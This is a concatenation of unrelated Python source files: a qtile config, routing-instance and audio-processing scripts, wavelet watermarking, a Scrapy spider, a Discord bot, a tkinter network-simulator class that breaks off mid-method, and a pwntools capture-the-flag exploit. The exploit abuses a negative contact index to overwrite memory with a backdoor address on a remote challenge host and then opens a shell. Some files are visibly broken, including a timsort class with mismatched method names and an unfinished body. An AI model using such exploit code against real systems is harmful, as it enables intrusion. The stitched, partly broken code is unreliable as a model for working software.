import os
import subprocess
from typing import List  # noqa: F401
from libqtile import bar, layout, widget, hook
from libqtile.config import Click, Drag, Group, Key, Match, Screen
from libqtile.lazy import lazy
from libqtile.utils import guess_terminal

mod = "mod4"
alt = "mod1"
terminal = guess_terminal()
qtile_path = os.path.expanduser('~/.config/qtile')

keys = [
    # Switch between windows
    Key([alt], "Tab",
        lazy.layout.next(),
        desc="Move window focus to other window"),

    # Move windows
    Key([mod, "shift"], "h",
        lazy.layout.shuffle_left(),
        desc="Move window to the left"),

    Key([mod, "shift"], "l",
        lazy.layout.shuffle_right(),
        desc="Move window to the right"),

    Key([mod, "shift"], "j",
        lazy.layout.shuffle_down(),
        desc="Move window down"),

    Key([mod, "shift"], "k",
        lazy.layout.shuffle_up(),
        desc="Move window up"),

    # Grow windows
    Key([mod], "h",
        lazy.layout.shrink_main(),
        desc="Shrink Master"),

    Key([mod], "l",
        lazy.layout.grow_main(),
        desc="Grow Master"),

    Key([mod], "j",
        lazy.layout.shrink(),
        desc="Shrink secondary"),

    Key([mod], "k",
        lazy.layout.grow(),
        desc="Grow Secondary"),

    # Window keybindings
    Key([mod, "control"], "space",
        lazy.window.toggle_floating(),
        desc="Toggle floating"),

    Key([mod], "m",
        lazy.window.toggle_maximize(),
        desc="Toggle maximize"),

    Key([mod], "n",
        lazy.window.toggle_minimize(),
        desc="Toggle minimize"),

    Key([mod], "f",
        lazy.window.toggle_fullscreen(),
        desc="Toggle fullscreen"),

    Key([mod], "q",
        lazy.window.kill(),
        desc="Kill focused window"),

    # Toggle between different layouts as defined below
    Key([mod], "space",
        lazy.next_layout(),
        desc="Next layouts"),

    # Qtile control
    Key([mod, "control"], "r",
        lazy.restart(),
        desc="Restart Qtile"),

    Key([mod, "shift"], "q",
        lazy.shutdown(),
        desc="Shutdown Qtile"),

    # Programs
    Key([mod], "Return",
        lazy.spawn(terminal),
        desc="Launch terminal"),

    Key([mod], "r",
        lazy.spawn("dmenu_run_history -f -i -p 'Run: '"),
        desc="Spawn a command using a prompt widget"),

    Key([mod], "b",
        lazy.spawn("brave-browser"),
        desc="Open Default Browser"),

    Key([mod], "c",
        lazy.spawn("copyq toggle"),
        desc="Open copyq prompt"),

    Key([mod], "tab",
        lazy.spawn("rofi -show"),
        desc="rofi window"),

    Key([mod], "s",
        lazy.spawn("smplayer"),
        desc="Open smplayer"),

    Key([mod], "e",
        lazy.spawn("nautilus"),
        desc="Open nautilus"),

    Key([mod, 'shift'], "e",
        lazy.spawn("lf_fm"),
        desc="Open lf"),

    Key([mod], "comma",
        lazy.spawn("codium " + qtile_path),
        desc="Open qtile config"),

    Key([mod, "shift"], "comma",
        lazy.spawn("dmconf"),
        desc="Open dmconf"),

    # Media Keys
    Key([mod, "control"], "Up",
        lazy.spawn("pactl set-sink-volume @DEFAULT_SINK@ +10%"),
        desc="Raise volume"),

    Key([mod, "control"], "Down",
        lazy.spawn("pactl set-sink-volume @DEFAULT_SINK@ -10%"),
        desc="lower volume"),

    Key([], "XF86AudioPlay",
        lazy.spawn("playerctl play-pause"),
        desc="Play/Pause"),

    Key([], "XF86AudioNext",
        lazy.spawn("playerctl next"),
        desc="Next track"),

    Key([], "XF86AudioPrev",
        lazy.spawn("playerctl previous"),
        desc="Previous track"),

]

groups = [Group(i) for i in "123456789"]

for i in groups:
    keys.extend([
        # mod1 + letter of group = switch to group
        Key([mod], i.name, lazy.group[i.name].toscreen(),
            desc="Switch to group {}".format(i.name)),

        # mod1 + shift + letter of group = switch to & move focused window to group
        Key([mod, "control"], i.name, lazy.window.togroup(i.name, switch_group=True),
            desc="Switch to & move focused window to group {}".format(i.name)),
        # Or, use below if you prefer not to switch to that group.
        # mod1 + shift + letter of group = move focused window to group
        Key([mod, "shift"], i.name, lazy.window.togroup(i.name),
            desc="move focused window to group {}".format(i.name)),
    ])

layouts = [
    layout.MonadTall(margin=5, ratio=.55, new_client_position='bottom'),
    # layout.Max(),
    # layout.Floating()
    # layout.Columns(num_columns=2, insert_position=1, margin=5),
    # Try more layouts by unleashing below layouts.
    # layout.Columns(border_focus_stack='#d75f5f'),
    # layout.Stack(num_stacks=2),
    # layout.Bsp(),
    # layout.Matrix(),
    # layout.MonadWide(),
    # layout.RatioTile(),
    # layout.TreeTab(),
    # layout.VerticalTile(),
    # layout.Zoomy(),
]

widget_defaults = dict(
    font='Monospace',
    fontsize=12,
    padding=3,
)
extension_defaults = widget_defaults.copy()

screens = [
    Screen(
        top=bar.Bar(
            [
                widget.GroupBox(),
                widget.Prompt(),
                # widget.WindowName(),
                widget.WindowTabs(),
                widget.Systray(),
                widget.Clock(format='%Y-%m-%d %a %I:%M %p'),
                widget.CurrentLayout(),
            ],
            24,
        ),
    ),
]

# Drag floating layouts.
mouse = [
    Drag([mod], "Button1", lazy.window.set_position(),
        start=lazy.window.get_position()),
    Drag([mod, "control"], "Button1", lazy.window.set_size_floating(),
        start=lazy.window.get_size()),
    Click([mod], "Button2", lazy.window.bring_to_front())
]

dgroups_key_binder = None
dgroups_app_rules = []  # type: List
main = None  # WARNING: this is deprecated and will be removed soon
follow_mouse_focus = True
bring_front_click = False
cursor_warp = False
floating_layout = layout.Floating(float_rules=[
    # Run the utility of `xprop` to see the wm class and name of an X client.
    *layout.Floating.default_float_rules,
    Match(wm_class='confirmreset'),  # gitk
    Match(wm_class='makebranch'),  # gitk
    Match(wm_class='maketag'),  # gitk
    Match(wm_class='ssh-askpass'),  # ssh-askpass
    Match(title='branchdialog'),  # gitk
    Match(title='pinentry'),  # GPG key password entry
    Match(wm_class='Albert'),
    Match(wm_class='copyq'),
])
auto_fullscreen = True
focus_on_window_activation = "smart"

@hook.subscribe.startup_once
def autostart():
    autostart_script = os.path.expanduser('~/.config/qtile/autostart.sh')
    subprocess.call([autostart_script])

# XXX: Gasp! We're lying here. In fact, nobody really uses or cares about this
# string besides java UI toolkits; you can see several discussions on the
# mailing lists, GitHub issues, and other WM documentation that suggest setting
# this string if your java app doesn't work correctly. We may as well just lie
# and say that we're a working one by default.
#
# We choose LG3D to maximize irony: it is a 3D non-reparenting WM written in
# java that happens to be on java's whitelist.
wmname = "LG3D"


# scrip for generation of charging points

#############################################################

import random
rng = random.Random()

import pandas as pd

import sys
import os

#############################################################

def eucl_dist(x1,y1,x2,y2):
	return ( (x1-x2)**2 + (y1-y2)**2 )**0.5

#############################################################

def usage():
	"""
	Explain correct script call
	"""
	print("Please use the following command: <Python-Interpreter> instance_generator.py <Solomon instance folder> <number of service stations per quadrant> <charging time> <battery capacity> <Output folder>")

	return None

def read_file(filename):
	"""
	Collect all data from a given file
	with read_csv-method of pandas
	Input:
	path to Solomon file
	Output:
	list of depot and customer data
	"""
	result = []

	data = pd.read_csv(filename, header = 5)
	datalist = data.values.tolist()
	for element in datalist:
		result.append(element[0].split())

	return result

def generate_coordinates_r(count):
	"""
	generate and return a given number (count)
	of coordinates for service stations
	randomly distributed in a 50 units radius
	"""
	result = []

	while(len(result) < count):
		x = rng.randint(0,100)
		y = rng.randint(0,100)
		if (eucl_dist(x,y,50,50) < 50):
			check = True
			for elem in result:
				if (eucl_dist(x,y, elem[0], elem[1]) < 10):
					check = False
			if check:
				result.append( (x,y) )

	return result

def generate_coordinates_c(count):
	"""
	generate and return a given number (count)
	of coordinates for service stations
	distributed around congestion centers
	NOTE: count should be divisible by the
	length of centers
	"""
	result = []
	centers = [(25,25), (25,75), (75,25), (75,75)]
	partial_count = count//len(centers)

	for center in centers:
		subresult = []
		while(len(subresult) < partial_count):
			x = rng.randint(0,100)
			y = rng.randint(0,100)
			if (eucl_dist(x,y,center[0],center[1]) < 15):
				subresult.append( (x,y) )
		for elem in subresult:
			result.append(elem)

	return result

def generate_instance(name, solomon_data, service_stations, service_time, battery, capacity):
	"""
	compile the whole instance and
	write it to name-file
	NOTE: solomon data entry 0 is the depot!
	"""
	output = "ID\tType\tx\ty\tDemand\tReady\tDue\tService\n"
	output += "D" + solomon_data[0][0] + "\td\t"
	for index in range(1,7):
		output += solomon_data[0][index] + "\t"
	output += "\n"
	output += "S" + solomon_data[0][0] + "\tf\t"
	for index in range(1,6):
		output += solomon_data[0][index] + "\t"
	output += str(service_time) + "\n"
	counter = 1
	for element in service_stations:
		output += "S" + str(counter) + "\tf\t" + str(element[0]) + "\t" + str(element[1]) + "\t"
		for index in range(3,6):
			output += solomon_data[0][index] + "\t"
		output += str(service_time) + "\n"
		counter += 1
	for index_out in range(1,101):
		output += "C" + solomon_data[index_out][0] + "\tc\t"
		for index_in in range(1,7):
			output += solomon_data[index_out][index_in] + "\t"
		output += "\n"
	output += "\n"
	output += "Q battery capacity /" + str(battery) + "/ \n"
	output += "C vehicle load /" + str(capacity) + "/ \n"
	output += "R replenishment time /" + str(service_time) + "/ \n"

	with open (name, 'w') as file_handle:
		file_handle.write(output)

##############################################################

c1_num = 9
c2_num = 8
r1_num = 12
r2_num = 11
rc1_num = 8
rc2_num = 8
instance_numbers = [c1_num, c2_num, r1_num, r2_num, rc1_num, rc2_num]

c1_pre = 'c1'
c2_pre = 'c2'
r1_pre = 'r1'
r2_pre = 'r2'
rc1_pre = 'rc1'
rc2_pre = 'rc2'
prefixes = [c1_pre, c2_pre, r1_pre, r2_pre, rc1_pre, rc2_pre]

capacities = [200, 700, 200, 1000, 200, 1000]

suffix = '.txt'

##############################################################

if __name__ == '__main__':

	if (len(sys.argv) != 6):
		usage()
		exit()

	in_directory = sys.argv[1]
	num_of_servicestations = 4 * int(sys.argv[2])
	service_time = int(sys.argv[3])
	battery = int(sys.argv[4])
	out_directory = sys.argv[5]

	if not os.path.exists(out_directory):
    		os.makedirs(out_directory)

	service_stations = generate_coordinates_c(num_of_servicestations)

	for index in range(6):
		capacity = capacities[index]
		for count in range(1,instance_numbers[index]+1):
			#get input directory
			input_file = in_directory + prefixes[index]
			if count < 10:
				input_file += "0" + str(count)
			else:
				input_file += str(count)
			input_file += suffix

			#write instance file
			solomon_instance = read_file(input_file)
			output_file = out_directory + prefixes[index]
			if count < 10:
				output_file += "0" + str(count)
			else:
				output_file += str(count)
			output_file += "_" + str(num_of_servicestations) + suffix
			generate_instance(output_file, solomon_instance, service_stations, service_time, battery, capacity)


from enum import Enum

import ffmpeg
import numpy as np
import pandas as pd
import torch

from data_processing.custom_segmentation import CustomSegmentationStrategy
from data_processing.simple_segmentation import SimpleSegmentation
from data_processing.voice_activity_detection import VADSilero

class Method(Enum):
    CUSTOM = "CUSTOM"
    SILERO = "SILERO"
    SIMPLE = "SIMPLE"

class AudioConvert:

    def __init__(self, method: Method = Method.CUSTOM, use_gpu: bool = False):
        self.method = method
        if method == method.SILERO:
            self.custom_speaker_activity_detection = VADSilero(use_gpu=use_gpu)
            self.custom_segmentation = None
            self.simple_segmentation = None
        elif method == method.CUSTOM:
            self.custom_segmentation = CustomSegmentationStrategy()
            self.custom_speaker_activity_detection = None
            self.simple_segmentation = None
        elif method == method.SIMPLE:
            self.custom_segmentation = None
            self.custom_speaker_activity_detection = None
            self.simple_segmentation = SimpleSegmentation()

    @staticmethod
    def read_file_to_np(audiofile_path: str):
        out, err = (
            ffmpeg
                .input(audiofile_path)
                .output('pipe:', format="wav", acodec="pcm_s16le", ar=16000, ac=1)
                .run(capture_stdout=True)
        )
        numpy_array = np.frombuffer(out, dtype=np.int16)
        return numpy_array

    def convert_file_to_segments(self, audiofile_path: str):
        audio = self.read_file_to_np(audiofile_path)
        audio_tensor = torch.Tensor(audio)

        if self.method == Method.CUSTOM:
            vad_matrix = self.custom_speaker_activity_detection.get_VAD_matrix(audio_tensor)
            self.custom_segmentation.plot_VAD(vad_matrix)
            segments = self.custom_segmentation.segment(vad_matrix.numpy())
            audio_segments = self.custom_speaker_activity_detection.audio_to_segments_from_stamps(audio, segments)
        elif self.method == Method.SILERO:
            timestamps = self.custom_speaker_activity_detection._get_speech_ts_adaptive(audio_tensor)
            audio_segments = self.custom_speaker_activity_detection.audio_to_segments(audio, timestamps)
        elif self.method == Method.SIMPLE:
            audio_segments = self.simple_segmentation.segment(audio_tensor)
        else:
            raise RuntimeError()

        return audio_segments

if __name__ == '__main__':
    method = Method.SILERO
    converter = AudioConvert(method=method, use_gpu=False)
    audio_files = [
        #"/media/rafje/danspeech/data_mining/unlabeled/podcasts/foelg_pengende/Foelg-pengene--Hvem-sk_5e5eee8c464747fdaab37a30a626df9b_192.mp3",
        #"/media/rafje/danspeech/data_mining/unlabeled/podcasts/24_spørgsmål_til_professoren/Historier_fra_de_varme_lande.mp3",
        #"/media/rafje/danspeech/data_mining/unlabeled/podcasts/danske_statsministre/Bang_Andr_f_rdigproduceret_med_intro_og_outro_online-audio-converter_com_.mp3",
        #"/media/rafje/danspeech/data_mining/unlabeled/podcasts/den_agile_podcast/Podcast#3 - Agile kontra vandfald.mp3",
        #"/media/rafje/danspeech/data_mining/unlabeled/podcasts/supertanker/Supertanker--USA-paa-r_2c271306def14480840af87150e5d636_192.mp3",
        "/home/rafje/Downloads/Foelg-pengene--Apple--_823566a09c664d17aad77862d288473a_192.mp3"
    ]

    audio_lenghts = []
    for audio_file in audio_files:
        lengths = map(lambda x: len(x[2]) / 16000, converter.convert_file_to_segments(audio_file))
        audio_lenghts.append(lengths)

    import matplotlib.pyplot as plt

    all_lengths = []

    lower_seconds = 4
    upper_seconds = 15

    under_seconds = []
    between = []
    over_seconds = []

    for i in range(len(audio_lenghts)):
        current_lengths = list(audio_lenghts[i])
        all_lengths += current_lengths
        df = pd.DataFrame(current_lengths, columns=['one'])
        ax = df.plot.hist(bins=20, alpha=0.5)
        plt.show()

        for audio_length in current_lengths:
            if audio_length < lower_seconds:
                under_seconds.append(audio_length)
            if audio_length > upper_seconds:
                over_seconds.append(audio_length)
            else:
                between.append(audio_length)

    df = pd.DataFrame(all_lengths, columns=['Audio lengths'])
    ax = df.plot.hist(bins=20, alpha=0.5)
    plt.show()

    print(f"Length under: {len(under_seconds)}")
    print(f"Length over: {len(over_seconds)}")
    print(f"Length between: {len(between)}")
    print(f"total length: {len(under_seconds) + len(over_seconds) + len(between)}")

    print(f"Length under seconds: {sum(under_seconds)}")
    print(f"Length over seconds: {sum(over_seconds)}")
    print(f"Length between seconds: {sum(between)}")

    print(f"total length seconds: {sum(under_seconds) + sum(over_seconds) + sum(between)}")


import os
import numpy as np
import matplotlib.pyplot as plt
import cv2

# Import PyWavelets library
import pywt
import pywt.data

# Load an example image
path = os.path.dirname(__file__)
image_path = "image.jpg"
original_image = cv2.imread(os.path.join(path, image_path), cv2.IMREAD_GRAYSCALE)

# Perform 2D wavelet transform (MRA) on the original image
''' The output is a tuple with 4 elements: LL, (LH, HL, HH)
LL = Approximation, LH = Horizontal detail, HL = Vertical detail, HH = Diagonal detail
"haar" is the name of the wavelet used '''
coeffs2 = pywt.dwt2(original_image, 'haar')
LL, (LH, HL, HH) = coeffs2

# Define meta information (for example, a watermark)
'''Random meta-information is generated using NumPy's
np.random.randint function. The meta_info variable
contains random integer values between 0 and 127.
The goal is to embed this meta-information into the
approximation component (LL) of the wavelet-transformed image.'''
meta_info = np.random.randint(0, 128, size=LL.shape)  # Ensure meta_info has the same dimensions as LL

# Resize meta_info to match the shape of LL
meta_info_resized = cv2.resize(meta_info, (LL.shape[1], LL.shape[0]))

# Exchange the LL (approximation) coefficients with meta information
LL_with_meta_info = LL + meta_info_resized

# Reconstruct the image using the modified coefficients
'''The modified coefficients, including LL_with_meta_info,
LH, HL, and HH, are used to reconstruct the modified image
using the inverse wavelet transform with the 'haar' wavelet.
The reconstructed image is stored in the modified_image variable.'''
modified_image = pywt.idwt2((LL_with_meta_info, (LH, HL, HH)), 'haar')

# Plot the original and modified images
plt.figure(figsize=(12, 6))
plt.subplot(1, 2, 1)
plt.imshow(original_image, cmap='gray')
plt.title('Original Image')
plt.axis('off')

plt.subplot(1, 2, 2)
plt.imshow(modified_image, cmap='gray')
plt.title('Modified Image with Meta Information')
plt.axis('off')

plt.tight_layout()
plt.show()


"""
https://www.jianshu.com/p/892ebd063ad9
https://svn.python.org/projects/python/trunk/Objects/listsort.txt
https://hg.python.org/cpython/file/5c1bacba828d/Objects/listobject.c
https://www.infopulse.com/blog/timsort-sorting-algorithm/
https://github.com/RonTang/SimpleTimsort/blob/master/SimpleTimsort.py
是归并排序法和插入排序法的结合

"""

class timsort:
    def __init__(self,a):
        self.a=a;
        a_len=len(a)
        self.minRun=32
        self.minRun=self.dyminRun(a_len)

    def dyMinRun(self,n):
        # becomes 1 if the least significant bits contain at least one off bit
        r=0
        while n>=64:
            r|=n&1
            n>>=1
        return n+r

    def rangeCheck(self,len,fromIdx,toIdx):
        if fromIdx>toIdx:
            raise Exception("fromdx>toIdx")
        if fromIdx<0:
            raise Exception("fromIdx<0")
        if toIdx>len:
            raise Exception("toIdx>len")

    def sort(self):
        self.sort(self.a,0,len(self.a))

    def sort(self,array,lo,hi):
        self.rangeCheck(len(array),lo,hi)

        nRemaining=hi-lo

        if nRemaining<2:
            return

        # 小于MIN_MERGE长度的数组就不用归并排序了
        if nRemaining<self.minRun:
            pass


import sys, math

number_list=list(range(0,2*123456+1))
root_number = int(math.sqrt(123456*2))
for i in range(2,root_number+1):
  if number_list[i]==0:
    continue
  target = i+i
  while target <= 2*123456:
    number_list[target] = 0
    target +=i

while True:
  N = int(sys.stdin.readline())
  if N == 0 :
    break
  cnt=0
  new_number = number_list[N+1:2*N+1]
  for i in new_number:
    if i != 0:
      if i == 1:
        pass
      cnt +=1

  print(cnt)

백준/Silver/4948. 베르트랑 공준/베르트랑 공준.py


# -*- coding: utf-8 -*-
import scrapy
from scrapy.linkextractors import LinkExtractor
from scrapy.spiders import CrawlSpider, Rule
from kouzi_crawler.items import KouziCrawlerItem

class QzkeySpider(CrawlSpider):
    name = 'qzkey'
    allowed_domains = ['qzkey.com']
    start_urls = ['http://mimi1688.aly611.qzkey.com/']

    rules = (
        Rule(LinkExtractor(allow=r'Product.aspx\?typeid=\d+'), callback='parse_item', follow=True),
    )

    def parse_item(self, response):
        app_list = response.xpath('//dl[@class="cpDl2"]/dd/ul//li')
        kouzi_name = '有鱼汇'
        kouzi_link = response.url
        kouzi_type = 'web'
        for item in app_list:
            app_item = KouziCrawlerItem()
            app_item['app_name'] = item.xpath('./a//dd//h3/text()').extract_first().strip()
            app_item['app_link'] = item.xpath('./a/@href').extract_first()
            app_item['kouzi_type'] = kouzi_type
            app_item['kouzi_name'] = kouzi_name
            app_item['kouzi_link'] = kouzi_link
            yield app_item


# Initial code written by Stevo.

"""Wraps BGT's timer object in Python.
"""

import time

class TimerException(Exception):
    """Raised when an error occurs.
    Currently does nothing when raised.
    """

    pass

class Timer:
    """Timer object."""

    def __init__(self):
        """Initializes the object."""
        self.start_time: int = get_current_ms()
        self.running: bool = True
        self.current_time: int = 0

    def restart(self):
        """Restarts the timer backed to 0."""
        self.start_time = get_current_ms()
        self.running = True
        self.current_time = 0

    def pause(self):
        """Pauses the timer, but does not reset it."""
        self.running = False
        self.current_time = get_current_ms() - self.start_time

    def resume(self):
        """Resumes the timer (if it was paused)."""
        self.running = True
        self.start_time = get_current_ms() - self.current_time
        self.current_time = 0

    def get_elapsed(self):
        """Property function for elapsed."""
        if not self.running:
            return int(self.current_time)
        else:
            return int(get_current_ms() - self.start_time)

    def set_elapsed(self, elapsed):
        """Property function to set elapsed."""
        if elapsed < 0:
            raise TimerException("This value must be at least 0")
        self.starttime = get_current_ms() - elapsed
        if not self.running:
            self.current_time = elapsed

    elapsed: property = property(get_elapsed, set_elapsed)

def get_current_ms():
    """Returns the current time in the propper format for the timer."""
    c_time: int = time.time()
    c_time *= 1000
    return c_time


from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
# p=process('./babyconact')
p=remote('t.ctf.qwq.cc',49512)
pause()
elf=ELF('./babyconact')
infos=0x4036E0
backdoor=0x0000000000401722

def show():
    p.recvuntil(b'option> ')
    p.sendline(b'1')
def create(name,val):
    p.recvuntil(b'option> ')
    p.sendline(b'2')
    p.recvuntil(b'Input contact name:\n')
    p.sendline(name)
    p.recvuntil(b'Input contact phone-number:\n')
    p.sendline(val)
def delete(index):
    p.recvuntil(b'option> ')
    p.sendline(b'3')
    p.sendline(str(index))
def edit(index,name,val):
    p.recvuntil(b'option> ')
    p.sendline(b'4')
    p.recvuntil(b'Input contact index:\n')
    p.sendline(str(index))
    p.recvuntil(b'Input contact name:\n')
    p.sendline(name)
    p.recvuntil(b'Input contact phone-number:\n')
    p.sendline(val)
for i in range(10):
    create(b'aaaa',b'bbbb')
delete(0)
payload1=b'\x56\x10\x40'
payload2=p64(backdoor)+p64(backdoor)
edit(-2,payload1,payload2)
p.interactive()


import os
import sys
import threading
import asyncio

sys.path.append(os.path.join(os.path.dirname(__file__), "lib"))
import discord

client = None
channel = None
ready = False

def init():
    global client
    global channel

    intents = discord.Intents.default()
    intents.message_content = True
    client = discord.Client(intents=intents)

    # discord.utils.get(channels.guild.channels, name="")

    @client.event
    async def on_ready():
        global ready

        ready = True
        print(f"We have logged in as {client.user}")

    @client.event
    async def on_message(message):
        if message.author == client.user:
            return

        if message.content.startswith('$hello'):
            await message.channel.send('Hello!')

def start(token):
    threading.Thread(target=client.run, args=(token,)).start()

def send_message(channel_id, text, files=[]):
    channel = client.get_channel(channel_id)
    if channel == None:
        print("no such channel")
        return
    client.loop.create_task(channel.send(text, files=[discord.File(p) for p in files]))

def stop():
    client.loop.create_task(client.close())


import tkinter
import tkinter as tk
from tkinter import messagebox
from tkinter import ttk
from UI import helper_functions as hf
from operations import globalVars
from UI.PCCLI import PCCli

class PCCanvasObject(object):
    def __init__(self, canvas, block_name, icons, class_object, master, time_class, load=False):

        self._x = None
        self._y = None
        self.canvas = canvas
        self.block_name = block_name
        self.class_object = class_object
        self.class_object.set_canvas_object(self)
        self.master = master
        self.icons = icons

        self.internal_clock = time_class
        self.internal_clock.add_pc(self)
        self.class_object.set_internal_clock(self.internal_clock)

        # Cursor Location when object is created
        x = self.canvas.canvasx(self.canvas.winfo_pointerx() - self.canvas.winfo_rootx())
        y = self.canvas.canvasy(self.canvas.winfo_pointery() - self.canvas.winfo_rooty())
        # Cursor Location when object is created

        # Icon Stuff
        self.icon = self.icons[0]
        self.config_icon = self.icons[1]
        self.terminal_icon = self.icons[2]
        self.ethernet_del_icon = self.icons[3]
        self.x_node_icon = self.icons[4]

        # Assigned to canvas_object to allow to delete
        self.canvas_object = self.canvas.create_image(x, y, image=self.icon, tags=(self.block_name, "PC", "Node"))
        self.canvas.photo = self.icon
        # Icon Stuff

        # Hover menu Stuff
        self.hover_area = self.canvas.create_polygon(x - 50, y - 50, x + 45, y - 50, x + 45, y - 75, x + 95, y - 75,
                                                     x + 95, y + 75, x + 45, y + 75, x + 45, y + 50, x - 50, y + 50,
                                                     fill="")

        self.menu_buttons = self.canvas.create_polygon(x + 40, y + 0, x + 50, y - 5, x + 50, y - 72, x + 92, y - 72,
                                                       x + 92, y + 72, x + 50, y + 72, x + 50, y + 5,
                                                       outline="black", fill="NavajoWhite2", width=1,
                                                       tags=('Hover_Menus', ))

        self.canvas.itemconfigure(self.menu_buttons, state='hidden')

        self.config_button = tk.Button(self.canvas, width=25, height=25, image=self.config_icon)
        self.terminal_button = tk.Button(self.canvas, width=25, height=25, image=self.terminal_icon)
        self.disconnect_button = tk.Button(self.canvas, width=25, height=25, image=self.ethernet_del_icon)
        self.delete_button = tk.Button(self.canvas, width=25, height=25, image=self.x_node_icon)

        self.config_button.config(background='gray75', foreground="white", relief=tk.GROOVE)
        self.terminal_button.config(background='gray75', foreground="white", relief=tk.GROOVE)
        self.disconnect_button.config(background='gray75', foreground="white", relief=tk.GROOVE)
        self.delete_button.config(background='gray75', foreground="white", relief=tk.GROOVE)

        self.config_button_window = self.canvas.create_window(x + 57, y - 65, window=self.config_button, state='hidden', tag="Menu_Button")
        self.terminal_button_window = self.canvas.create_window(x + 57, y - 31, window=self.terminal_button, state='hidden', tag="Menu_Button")
        self.disconnect_button_window = self.canvas.create_window(x + 57, y + 3, window=self.disconnect_button, state='hidden', tag="Menu_Button")
        self.delete_button_window = self.canvas.create_window(x + 57, y + 37, window=self.delete_button, state='hidden', tag="Menu_Button")
        # Hover menu Stuff

        # Button Bindings
        if not load:
            self.canvas.tag_bind(self.block_name, '<Motion>', self.motion)  # When creating the object
            self.canvas.tag_bind(self.block_name, '<Button-1>', self.motion)  # When creating the object
        self.canvas.tag_bind(self.block_name, '<B1-Motion>', self.motion)  # When moving the object after it is created
        self.canvas.tag_bind(self.block_name, '<ButtonRelease-1>',
                             self.button_release)  # When moving the object after it is created
        # Button Bindings

        # Config Window Stuff
        self.config_window = None
        self.ipv4_field = None          # To set focus
        self.hostname_field = None      # To set focus
        self.gateway_field = None
        self.prefix_field = None
        self.ipv6_field = None
        self.ipv6_link_local_field = None
        self.ipv6_link_local_prefix_field = None
        self.netmask_field = None
        self.auto_config_nic = tk.BooleanVar()     # DHCP
        # Config Window Stuff

        # CLI Stuff
        self.cli_window = None
        self.cli = None
        self.cli_object = None
        self.cli_busy = False
        self.cli_text = "PC> "
        self.created_terminal = False
        self.command_history = []
        self.command_history_index = -1
        # CLI Stuff

        # Light Stuff
        self.line_connections = {}
        self.tag_1 = ""
        self.tag_2 = ""
        self.interface_1 = None
        self.interface_2 = None
        self.l1 = None
        self.l2 = None
        # Light Stuff

    def motion(self, event=None):

        if not event:
            event_x = self.canvas.coords(self.block_name)[0] + 0.000005
            event_y = self.canvas.coords(self.block_name)[1] + 0.000005

        else:
            event_x = self.canvas.canvasx(event.x)
            event_y = self.canvas.canvasy(event.y)

            # Hide the menu
            self.unbind_menu_temporarily()

        # Move the object
        self.canvas.coords(self.block_name, event_x, event_y)

        # Move the hover area and menu buttons
        self.canvas.coords(self.hover_area, event_x - 50, event_y - 50,
                           event_x + 45, event_y - 50,
                           event_x + 45, event_y - 75,
                           event_x + 95, event_y - 75,
                           event_x + 95, event_y + 75,
                           event_x + 45, event_y + 75,
                           event_x + 45, event_y + 50,
                           event_x - 50, event_y + 50)

        self.canvas.coords(self.menu_buttons, event_x + 40, event_y,
                           event_x + 50, event_y - 5,
                           event_x + 50, event_y - 72,
                           event_x + 92, event_y - 72,
                           event_x + 92, event_y + 72,
                           event_x + 50, event_y + 72,
                           event_x + 50, event_y + 5)

        try:
            line = self.canvas.find_withtag(self.tag_1 + "_line_" + self.tag_2 + "_0")

            light_1 = self.canvas.find_withtag(self.tag_1 + "_light_" + self.tag_2 + "_0")
            light_2 = self.canvas.find_withtag(self.tag_2 + "_light_" + self.tag_1 + "_0")

            if line:
                self.canvas.delete(light_1)
                self.l1 = hf.draw_circle(self.canvas.coords(line)[0], self.canvas.coords(line)[1],
                                         self.canvas.coords(line)[2],
                                         self.canvas.coords(line)[3], 4, self.canvas,
                                         self.tag_1 + "_light_" + self.tag_2 + "_0")
                self.canvas.delete(light_2)
                self.l2 = hf.draw_circle(self.canvas.coords(line)[2], self.canvas.coords(line)[3],
                                         self.canvas.coords(line)[0],
                                         self.canvas.coords(line)[1], 4, self.canvas,
                                         self.tag_2 + "_light_" + self.tag_1 + "_0")

                self.canvas.tag_lower(self.l1, list(self.line_connections.keys())[0].get_obj_1().get_canvas_object())
                self.canvas.tag_lower(self.l2, list(self.line_connections.keys())[0].get_obj_2().get_canvas_object())
                [self.canvas.tag_raise(self.menu_buttons, light) for light in self.canvas.find_withtag('light')]

                if ((globalVars.show_link_lights and globalVars.light_state) or
                        (not globalVars.show_link_lights and globalVars.light_state)):
                    self.canvas.itemconfig(self.l1, state='normal')
                    self.canvas.itemconfig(self.l2, state='normal')

                elif ((globalVars.show_link_lights and not globalVars.light_state) or
                      (not globalVars.show_link_lights and not globalVars.light_state)):
                    self.canvas.itemconfig(self.l1, state='hidden')
                    self.canvas.itemconfig(self.l2, state='hidden')

                if 0 <= abs(event_x - self.canvas.coords(line)[0]) <= 30 and 0 <= abs(
                        event_y - self.canvas.coords(line)[1]) <= 30:
                    self.canvas.coords(line, event_x, event_y,
                                       self.canvas.coords(line)[2], self.canvas.coords(line)[3])

                    self.canvas.itemconfig(self.l1, fill=hf.get_color_from_op(self.interface_1.get_is_operational()))
                    self.canvas.itemconfig(self.l2, fill=hf.get_color_from_op(self.interface_2.get_is_operational()))

                elif 0 <= abs(event_x - self.canvas.coords(line)[2]) <= 30 and 0 <= abs(
                        event_y - self.canvas.coords(line)[3]) <= 30:
                    self.canvas.coords(line, self.canvas.coords(line)[0], self.canvas.coords(line)[1],
                                       event_x, event_y)

                    self.canvas.itemconfig(self.l2, fill=hf.get_color_from_op(self.interface_1.get_is_operational()))
                    self.canvas.itemconfig(self.l1, fill=hf.get_color_from_op(self.interface_2.get_is_operational()))

        except StopIteration:
            pass

        self._x = event_x
        self._y = event_y
        globalVars.prompt_save = True
        return

    def button_release(self, event):

        self.canvas.tag_unbind(self.block_name, "<Motion>")
        self.canvas.tag_unbind(self.block_name, "<Button-1>")

        # For the object menu
        self.canvas.tag_bind(self.hover_area, '<Enter>', self.on_start_hover)
        self.canvas.tag_bind(self.hover_area, '<Leave>', self.on_end_hover)
        self.canvas.tag_bind(self.block_name, '<Enter>', self.on_start_hover)
        self.canvas.tag_bind(self.block_name, '<Leave>', self.on_end_hover)
        self.canvas.tag_bind(self.menu_buttons, '<Enter>', self.on_start_hover)

        self.config_button.bind('<Enter>', self.config_button_bg_enter)
        self.config_button.bind('<Leave>', self.config_button_bg_leave)
        self.config_button.bind('<Button-1>', self.open_config_menu)

        self.terminal_button.bind('<Enter>', self.terminal_button_bg_enter)
        self.terminal_button.bind('<Leave>', self.terminal_button_bg_leave)
        self.terminal_button.bind('<Button-1>', self.menu_pc_cli)

        self.disconnect_button.bind('<Enter>', self.disconnect_button_bg_enter)
